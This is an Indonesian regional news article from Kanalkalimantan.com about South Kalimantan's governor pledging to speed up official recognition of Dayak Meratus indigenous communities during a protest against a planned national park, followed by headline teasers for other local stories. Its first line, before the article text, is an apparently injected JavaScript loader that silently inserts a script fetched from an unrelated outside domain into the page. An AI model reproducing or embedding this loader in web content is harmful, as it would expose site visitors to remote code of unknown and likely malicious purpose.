(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan, H Muhidin mendorong percepatan pengakuan Masyarakat Adat Dayak Meratus yang belum diakui melalui kepala daerah setempat.
Hal itu disampaikan saat menjumpai massa unjuk rasa penolakan pembentukan Taman Nasional Pegunungan Meratus di kantor Gubernur Kalsel, Jum’at (15/8/2025) siang.
“Kami akan menyurati bupati supaya mengakui masyarakat adat di daerah masing-masing,” kata Muhidin di hadapan para demonstran.
Dia menambahkan, Pemerintah Provinsi Kalsel akan menyusun draf untuk pengakuan suku Dayak Meratus di tiap kabupaten/kota se Kalsel.
Baca juga: Dampak Ekonomi Warga Tak Selesai, DPRD Banjarbaru Panggil BPJN Kalsel
“Kalau bupatinya tidak mau tanda tangan, berarti tidak mematuhi perintah gubernur,” tegas Muhidin.
H Muhidin turut meminta tiap komunitas adat membuat struktur organisasi mulai dari ketua, sekretaris, dan anggota.
“Nanti kelihatan masyarakat adat ada berapa, kalau sudah, tinggal diajukan ke kabupaten, lalu diteruskan ke provinsi,” jelasnya.
Percepatan status itu bertujuan agar Pemerintah Provinsi (Pemprov) Kalsel dapat membantu segala bentuk keperluan atau tradisi dari masyarakat adat.
Baca juga: Dua Anak Korban Kejatuhan Kontainer Jalani Operasi
“Provinsi bisa menghibahkan, misalnya mau aruh ganal minta hibah boleh, mau bangun balai adat bisa,” ungkap Muhidin.
Saat ini pihaknya belum bisa memberi bantuan sebab masyarakat adat masih terpencar dimana-mana.
Sementara itu, Aliansi Masyarakat Adat Nusantara (AMAN) Kalsel bersama Wahana Lingkungan Hidup (Walhi) Kalsel telah sejak lama memperjuangkan pengakuan Masyarakat Adat Dayak di Pegunungan Meratus.
Menurut Ketua AMAN Kalsel, Rubi, pihaknya memperjuangkan pengakuan masyarakat adat di sejumlah kabupaten seperti Kotabaru, Tanah Bumbu, Banjar, Tapin, Hulu Sungai Tengah, Hulu Sungai Selatan, Tabalong, dan Balangan.
Baca juga: Satu Kata Tolak Taman Nasional Pegunungan Meratus!
“Itu harus segera dilakukan pengakuan bagi masyarakat adat yang belum diakui sesuai dengan Perda Provinsi Kalsel Nomor 2 Tahun 2023 tentang Pengakuan dan Perlindungan Masyarakat Hukum Adat,” kata Rubi. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.